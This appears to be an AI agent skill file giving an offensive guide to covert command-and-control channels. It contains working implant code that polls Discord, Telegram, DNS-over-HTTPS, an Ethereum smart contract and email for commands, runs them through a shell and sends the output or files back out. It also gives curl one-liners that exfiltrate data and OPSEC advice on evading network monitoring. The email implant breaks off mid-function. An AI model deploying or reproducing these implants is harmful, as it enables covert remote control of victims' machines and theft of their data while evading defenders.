- name
- c2-alternative-channels
- description
- Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"command-and-control","when_to_use":"alternative c2, discord c2, telegram c2, blockchain c2, email c2, dns over https, dead drop resolver, cloud c2, lambda c2, serverless c2","tags":"c2, discord, telegram, blockchain, email, doh, dead-drop, cloud, serverless, covert-channel","mitre_attack":"T1102, T1071.004, T1071.003, T1573"}
# Alternative C2 Channels
Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
## Quick Reference
```bash
# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"
```
## MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|-----------|----|----------------|
| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |
| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling |
| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 |
| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |
## 1. Discord Webhook C2
Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to `discord.com` — a domain almost never blocked.
### Setup
```bash
# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>
# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History
```
### Implant Logic (Python)
```python
#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os
WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN = "<BOT_TOKEN>"
CHANNEL_ID = "<CHANNEL_ID>"
HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP = 30
LAST_MSG_ID = None
def poll_command():
global LAST_MSG_ID
url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
r = requests.get(url, headers=HEADERS)
if r.status_code != 200:
return None
msgs = r.json()
if not msgs:
return None
msg = msgs[0]
if msg["id"] == LAST_MSG_ID:
return None
LAST_MSG_ID = msg["id"]
return msg["content"]
def send_output(data):
# Discord message limit is 2000 chars; chunk if needed
for i in range(0, len(data), 1900):
chunk = data[i:i+1900]
requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})
while True:
cmd = poll_command()
if cmd and cmd.startswith("!exec "):
try:
out = subprocess.check_output(
cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
).decode(errors="replace")
except subprocess.TimeoutExpired:
out = "[TIMEOUT]"
except Exception as e:
out = f"[ERROR] {e}"
send_output(out)
time.sleep(SLEEP)
```
### OPSEC Notes
- All traffic goes to `discord.com:443` — TLS-encrypted, CDN-hosted
- Rate limit: ~5 requests/sec per webhook; space commands to avoid `429`
- Bot token exposure = full channel compromise; rotate after engagement
- Discord logs message content — treat the channel as burned post-op
## 2. Telegram Bot C2
Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.
### Setup
```bash
# Create bot via @BotFather on Telegram:
# /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'
```
### Implant Logic (Python)
```python
#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time
BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID = "<CHAT_ID>"
API = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET = 0
SLEEP = 15
def poll():
global OFFSET
r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
updates = r.json().get("result", [])
for u in updates:
OFFSET = u["update_id"] + 1
text = u.get("message", {}).get("text", "")
if text.startswith("/run "):
yield text[5:]
def reply(text):
# Telegram message limit: 4096 chars
for i in range(0, len(text), 4000):
requests.post(f"{API}/sendMessage", json={
"chat_id": CHAT_ID,
"text": f"```\n{text[i:i+4000]}\n```",
"parse_mode": "Markdown"
})
def upload(path):
with open(path, "rb") as f:
requests.post(f"{API}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f})
while True:
for cmd in poll():
if cmd.startswith("upload "):
upload(cmd[7:])
continue
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
reply(out.decode(errors="replace"))
except Exception as e:
reply(f"[ERROR] {e}")
time.sleep(SLEEP)
```
### Features
- **File exfil**: `sendDocument` uploads files up to 50 MB
- **Long polling**: `getUpdates?timeout=30` reduces beacon frequency
- **Inline keyboards**: Build interactive menus for operator convenience
- **OPSEC**: Traffic to `api.telegram.org` over TLS; set bot privacy mode
## 3. DNS-over-HTTPS (DoH) C2
DNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (`dns.google`) or Cloudflare (`1.1.1.1`). Since DoH bypasses traditional DNS monitoring (no UDP/53 inspection), it creates a covert channel.
### Architecture
```
Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled)
^
| TXT records = encoded commands
| A records = encoded data
```
### Implant Logic (Bash)
```bash
#!/bin/bash
# DoH C2 beacon — query operator's DNS for commands via Google DoH
C2_DOMAIN="c2.<TARGET>"
DOH_URL="https://dns.google/resolve"
SLEEP=60
encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; }
decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; }
# Register implant
HOSTNAME=$(hostname)
IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20)
curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null
while true; do
# Poll for command
RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT")
CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"')
if [ -n "$CMD" ]; then
DECODED=$(decode "$CMD")
OUTPUT=$(eval "$DECODED" 2>&1 | head -c 200)
ENCODED=$(encode "$OUTPUT")
# Exfil output via subdomain labels (max 63 chars per label)
for chunk in $(echo "$ENCODED" | fold -w 60); do
curl -s "${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A" > /dev/null
done
fi
sleep $SLEEP
done
```
### DoH Providers
| Provider | Endpoint | Notes |
|----------|----------|-------|
| Google | `https://dns.google/resolve` | JSON API, widely allowed |
| Cloudflare | `https://1.1.1.1/dns-query` | Wire format + JSON |
| Quad9 | `https://dns.quad9.net:5053/dns-query` | Less common, lower profile |
### Limitations
- TXT records limited to 255 bytes per string (chain multiple)
- DNS label max 63 chars, total FQDN max 253 chars
- High-volume queries to operator domain may trigger DNS analytics
## 4. Blockchain-Based C2 (Ethereum Smart Contract)
Smart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.
### Smart Contract (Solidity)
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract C2 {
address private owner;
mapping(bytes32 => string) private commands;
mapping(bytes32 => string) private responses;
constructor() { owner = msg.sender; }
modifier onlyOwner() { require(msg.sender == owner, ""); _; }
function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {
commands[implantId] = cmd;
}
function getCommand(bytes32 implantId) external view returns (string memory) {
return commands[implantId];
}
function postResponse(bytes32 implantId, string calldata resp) external {
responses[implantId] = resp;
}
function getResponse(bytes32 implantId) external view returns (string memory) {
return responses[implantId];
}
}
```
### Implant Logic (Python)
```python
#!/usr/bin/env python3
"""Ethereum smart contract C2 — read commands from chain, post results."""
from web3 import Web3
import subprocess, time, hashlib
RPC_URL = "https://mainnet.infura.io/v3/<API_KEY>" # or any public RPC
CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>"
ABI = [...] # ABI from compilation
IMPLANT_ID = Web3.keccak(text=__import__("socket").gethostname())
w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)
while True:
cmd = contract.functions.getCommand(IMPLANT_ID).call()
if cmd:
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
# Post response on-chain (requires funded wallet for gas)
# For read-only implants, exfil via side channel instead
except Exception as e:
out = str(e).encode()
time.sleep(300)
```
### OPSEC Notes
- **Read operations are free** — no wallet or gas needed to poll commands
- **Write operations cost gas** — use a side channel (DNS, HTTP) for responses
- Contract is public and immutable — use encryption for command/response data
- Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls
- Deploy on testnets (Sepolia) for testing; mainnet for real operations
## 5. Email-Based C2 (IMAP/SMTP)
Email C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.
### Implant Logic (Python)
```python
#!/usr/bin/env python3
"""Email C2 — read commands from IMAP inbox, send results via SMTP."""
import imaplib, smtplib, email, subprocess, time
from email.mime.text import MIMEText
IMAP_SERVER = "imap.gmail.com"
SMTP_SERVER = "smtp.gmail.com"
EMAIL_ADDR = "<C2_EMAIL>@gmail.com"
EMAIL_PASS = "<APP_PASSWORD>"
OPERATOR = "<OPERATOR_EMAIL>"
SLEEP = 120
def check_commands():
imap = imaplib.IMAP4_SSL(IMAP_SERVER)
imap.login(EMAIL_ADDR, EMAIL_PASS)
imap.select("INBOX")
_, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"')
commands = []
for num in nums[0].split():
_, data = imap.fetch(num, "(RFC822)")
msg = email.message_from_bytes(data[0][1])
body = msg.get_payload(decode=True).decode(errors="replace")
commands.append(body.strip())
imap.store(num, "+FLAGS", "\\Deleted")
imap.expunge()
Ver no GitHub